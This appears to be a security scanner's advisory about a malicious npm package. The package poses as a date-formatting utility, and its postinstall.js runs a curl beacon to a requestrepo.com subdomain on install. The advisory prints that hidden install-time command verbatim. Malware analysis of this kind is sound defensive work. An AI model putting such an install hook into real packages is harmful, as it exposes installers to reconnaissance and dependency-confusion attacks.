## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

On \`npm install\`, the package's postinstall.js unconditionally executes \`exec('curl http://qvmjcw4s.requestrepo.com')\`, sending an HTTP callback to a unique subdomain on requestrepo.com — a public out-of-band HTTP/DNS interaction service commonly used to confirm successful code execution on a target. The callback discloses the installer's public IP and a successful-install signal to the listener controlled by whoever registered the subdomain. The package presents itself as a trivial date-formatting utility (\`index.js\` exports a one-line \`formatDate\`), with empty author metadata and a generic \`A harmless utility package\` description; there is no legitimate rationale for any install-time network I/O. The cover-story metadata combined with an unconditional install-time beacon to an OOB inspection endpoint matches the reconnaissance/dependency-confusion probe pattern.
